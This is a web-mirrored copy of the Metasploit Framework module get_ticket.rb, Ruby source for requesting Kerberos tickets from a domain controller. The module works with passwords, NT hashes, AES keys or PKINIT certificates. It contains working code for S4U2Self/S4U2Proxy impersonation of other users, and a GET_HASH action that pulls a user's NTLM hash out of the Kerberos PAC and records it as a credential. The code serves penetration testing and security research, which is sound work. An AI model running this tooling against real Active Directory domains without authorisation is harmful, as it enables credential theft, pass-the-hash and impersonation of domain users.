CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/kerberos/get_ticket.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Report
8
include Msf::Exploit::Remote::Kerberos
9
include Msf::Exploit::Remote::Kerberos::Client
10
include Msf::Exploit::Remote::Kerberos::Ticket::Storage
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Kerberos TGT/TGS Ticket Requester',
17
'Description' => %q{
18
This module requests TGT/TGS Kerberos tickets from the KDC
19
},
20
'Author' => [
21
'Christophe De La Fuente', # Metasploit module
22
'Spencer McIntyre', # Metasploit module
23
# pkinit authors
24
'Will Schroeder', # original idea/research
25
'Lee Christensen', # original idea/research
26
'Oliver Lyak', # certipy implementation
27
'smashery' # Metasploit module
28
],
29
'License' => MSF_LICENSE,
30
'Notes' => {
31
'AKA' => ['getTGT', 'getST'],
32
'Stability' => [ CRASH_SAFE ],
33
'SideEffects' => [ ],
34
'Reliability' => [ ]
35
},
36
'Actions' => [
37
[ 'GET_TGT', { 'Description' => 'Request a Ticket-Granting-Ticket (TGT)' } ],
38
[ 'GET_TGS', { 'Description' => 'Request a Ticket-Granting-Service (TGS)' } ],
39
[ 'GET_HASH', { 'Description' => 'Request a TGS to recover the NTLM hash' } ]
40
],
41
'DefaultAction' => 'GET_TGT',
42
'AKA' => ['PKINIT']
43
)
44
)
45
46
register_options(
47
[
48
OptString.new('DOMAIN', [ false, 'The Fully Qualified Domain Name (FQDN). Ex: mydomain.local' ]),
49
OptString.new('USERNAME', [ false, 'The domain user' ]),
50
OptString.new('PASSWORD', [ false, 'The domain user\'s password' ]),
51
OptPath.new('CERT_FILE', [ false, 'The PKCS12 (.pfx) certificate file to authenticate with' ]),
52
OptString.new('CERT_PASSWORD', [ false, 'The certificate file\'s password' ]),
53
OptString.new(
54
'NTHASH', [
55
false,
56
'The NT hash in hex string. Server must support RC4'
57
]
58
),
59
OptString.new(
60
'AES_KEY', [
61
false,
62
'The AES key to use for Kerberos authentication in hex string. Supported keys: 128 or 256 bits'
63
]
64
),
65
OptString.new(
66
'SPN', [
67
false,
68
'The Service Principal Name, format is service_name/FQDN. Ex: cifs/dc01.mydomain.local'
69
],
70
conditions: %w[ACTION == GET_TGS]
71
),
72
OptString.new(
73
'IMPERSONATE', [
74
false,
75
'The user on whose behalf a TGS is requested (it will use S4U2Self/S4U2Proxy to request the ticket)',
76
],
77
conditions: %w[ACTION == GET_TGS]
78
),
79
OptPath.new(
80
'Krb5Ccname', [
81
false,
82
'The Kerberos TGT to use when requesting the service ticket. If unset, the database will be checked'
83
],
84
conditions: %w[ACTION == GET_TGS]
85
),
86
]
87
)
88
89
deregister_options('KrbCacheMode')
90
end
91
92
def validate_options
93
if datastore['CERT_FILE'].present?
94
certificate = File.read(datastore['CERT_FILE'])
95
begin
96
@pfx = OpenSSL::PKCS12.new(certificate, datastore['CERT_PASSWORD'] || '')
97
rescue OpenSSL::PKCS12::PKCS12Error => e
98
fail_with(Failure::BadConfig, "Unable to parse certificate file (#{e})")
99
end
100
101
if datastore['USERNAME'].blank? && datastore['DOMAIN'].present?
102
fail_with(Failure::BadConfig, 'Domain override provided but no username override provided (must provide both or neither)')
103
elsif datastore['DOMAIN'].blank? && datastore['USERNAME'].present?
104
fail_with(Failure::BadConfig, 'Username override provided but no domain override provided (must provide both or neither)')
105
end
106
107
begin
108
@username, @realm = extract_user_and_realm(@pfx.certificate, datastore['USERNAME'], datastore['DOMAIN'])
109
rescue ArgumentError => e
110
fail_with(Failure::BadConfig, e.message)
111
end
112
else # USERNAME and DOMAIN are required when they can't be extracted from the certificate
113
@username = datastore['USERNAME']
114
fail_with(Failure::BadConfig, 'USERNAME must be specified when used without a certificate') if @username.blank?
115
116
@realm = datastore['DOMAIN']
117
fail_with(Failure::BadConfig, 'DOMAIN must be specified when used without a certificate') if @realm.blank?
118
end
119
120
if datastore['NTHASH'].present? && !datastore['NTHASH'].match(/^\h{32}$/)
121
fail_with(Failure::BadConfig, 'NTHASH must be a hex string of 32 characters (128 bits)')
122
end
123
124
if datastore['AES_KEY'].present? && !datastore['AES_KEY'].match(/^(\h{32}|\h{64})$/)
125
fail_with(Failure::BadConfig,
126
'AES_KEY must be a hex string of 32 characters for 128-bits AES keys or 64 characters for 256-bits AES keys')
127
end
128
129
if action.name == 'GET_TGS' && datastore['SPN'].blank?
130
fail_with(Failure::BadConfig, "SPN must be provided when action is #{action.name}")
131
end
132
133
if action.name == 'GET_HASH' && datastore['CERT_FILE'].blank?
134
fail_with(Failure::BadConfig, "CERT_FILE must be provided when action is #{action.name}")
135
end
136
137
if datastore['SPN'].present? && !datastore['SPN'].match(%r{.+/.+})
138
fail_with(Failure::BadConfig, 'SPN format must be service_name/FQDN (ex: cifs/dc01.mydomain.local)')
139
end
140
end
141
142
def run
143
validate_options
144
145
send("action_#{action.name.downcase}")
146
147
report_service(
148
host: rhost,
149
port: rport,
150
proto: 'tcp',
151
name: 'kerberos',
152
info: "Module: #{fullname}, KDC for domain #{@realm}"
153
)
154
rescue ::Rex::ConnectionError => e
155
elog('Connection error', error: e)
156
fail_with(Failure::Unreachable, e.message)
157
rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError,
158
::EOFError => e
159
msg = e.to_s
160
if e.respond_to?(:error_code) &&
161
e.error_code == ::Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_PREAUTH_REQUIRED
162
msg << ' - Check the authentication-related options (Krb5Ccname, PASSWORD, NTHASH or AES_KEY)'
163
end
164
fail_with(Failure::Unknown, msg)
165
end
166
167
def init_authenticator(options = {})
168
options.merge!({
169
host: rhost,
170
realm: @realm,
171
username: @username,
172
pfx: @pfx,
173
framework: framework,
174
framework_module: self
175
})
176
options[:password] = datastore['PASSWORD'] if datastore['PASSWORD'].present?
177
if datastore['NTHASH'].present?
178
options[:key] = [datastore['NTHASH']].pack('H*')
179
options[:offered_etypes] = [ Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC ]
180
end
181
if datastore['AES_KEY'].present?
182
options[:key] = [ datastore['AES_KEY'] ].pack('H*')
183
options[:offered_etypes] = if options[:key].size == 32
184
[ Rex::Proto::Kerberos::Crypto::Encryption::AES256 ]
185
else
186
[ Rex::Proto::Kerberos::Crypto::Encryption::AES128 ]
187
end
188
end
189
190
Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new(**options)
191
end
192
193
def action_get_tgt
194
print_status("#{peer} - Getting TGT for #{@username}@#{@realm}")
195
196
# Never attempt to use the kerberos cache when requesting a kerberos TGT, to ensure a request is made
197
authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: false, write: true) })
198
authenticator.request_tgt_only
199
end
200
201
def action_get_tgs
202
authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: true, write: true) })
203
tgt_request_options = {}
204
if datastore['Krb5Ccname'].present?
205
tgt_request_options[:cache_file] = datastore['Krb5Ccname']
206
end
207
credential = authenticator.request_tgt_only(tgt_request_options)
208
209
if datastore['IMPERSONATE'].present?
210
print_status("#{peer} - Getting TGS impersonating #{datastore['IMPERSONATE']}@#{@realm} (SPN: #{datastore['SPN']})")
211
212
sname = Rex::Proto::Kerberos::Model::PrincipalName.new(
213
name_type: Rex::Proto::Kerberos::Model::NameType::NT_UNKNOWN,
214
name_string: [@username]
215
)
216
auth_options = {
217
sname: sname,
218
impersonate: datastore['IMPERSONATE']
219
}
220
tgs_ticket, _tgs_auth = authenticator.s4u2self(
221
credential,
222
auth_options.merge(ticket_storage: kerberos_ticket_storage(read: false, write: true))
223
)
224
225
auth_options[:sname] = Rex::Proto::Kerberos::Model::PrincipalName.new(
226
name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,
227
name_string: datastore['SPN'].split('/')
228
)
229
auth_options[:tgs_ticket] = tgs_ticket
230
authenticator.s4u2proxy(credential, auth_options)
231
else
232
print_status("#{peer} - Getting TGS for #{@username}@#{@realm} (SPN: #{datastore['SPN']})")
233
234
sname = Rex::Proto::Kerberos::Model::PrincipalName.new(
235
name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,
236
name_string: datastore['SPN'].split('/')
237
)
238
tgs_options = {
239
sname: sname,
240
ticket_storage: kerberos_ticket_storage(read: false)
241
}
242
243
authenticator.request_tgs_only(credential, tgs_options)
244
end
245
end
246
247
def action_get_hash
248
authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: false, write: true) })
249
auth_context = authenticator.authenticate_via_kdc(options)
250
credential = auth_context[:credential]
251
252
print_status("#{peer} - Getting NTLM hash for #{@username}@#{@realm}")
253
254
session_key = Rex::Proto::Kerberos::Model::EncryptionKey.new(
255
type: credential.keyblock.enctype.value,
256
value: credential.keyblock.data.value
257
)
258
259
tgs_ticket, _tgs_auth = authenticator.u2uself(credential)
260
261
ticket_enc_part = Rex::Proto::Kerberos::Model::TicketEncPart.decode(
262
tgs_ticket.enc_part.decrypt_asn1(session_key.value, Rex::Proto::Kerberos::Crypto::KeyUsage::KDC_REP_TICKET)
263
)
264
value = OpenSSL::ASN1.decode(ticket_enc_part.authorization_data.elements[0][:data]).value[0].value[1].value[0].value
265
pac = Rex::Proto::Kerberos::Pac::Krb5Pac.read(value)
266
pac_info_buffer = pac.pac_info_buffers.find do |buffer|
267
buffer.ul_type == Rex::Proto::Kerberos::Pac::Krb5PacElementType::CREDENTIAL_INFORMATION
268
end
269
unless pac_info_buffer
270
print_error('NTLM hash not found in PAC')
271
return
272
end
273
274
serialized_pac_credential_data = pac_info_buffer.buffer.pac_element.decrypt_serialized_data(auth_context[:krb_enc_key][:key])
275
ntlm_hash = serialized_pac_credential_data.data.extract_ntlm_hash
276
print_good("Found NTLM hash for #{@username}: #{ntlm_hash}")
277
278
report_ntlm(ntlm_hash)
279
end
280
281
def report_ntlm(hash)
282
jtr_format = Metasploit::Framework::Hashes.identify_hash(hash)
283
service_data = {
284
address: rhost,
285
port: rport,
286
service_name: 'kerberos',
287
protocol: 'tcp',
288
workspace_id: myworkspace_id
289
}
290
credential_data = {
291
module_fullname: fullname,
292
origin_type: :service,
293
private_data: hash,
294
private_type: :ntlm_hash,
295
jtr_format: jtr_format,
296
username: @username,
297
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
298
realm_value: @realm
299
}.merge(service_data)
300
301
credential_core = create_credential(credential_data)
302
303
login_data = {
304
core: credential_core,
305
status: Metasploit::Model::Login::Status::UNTRIED
306
}.merge(service_data)
307
308
create_credential_login(login_data)
309
end
310
end
311
312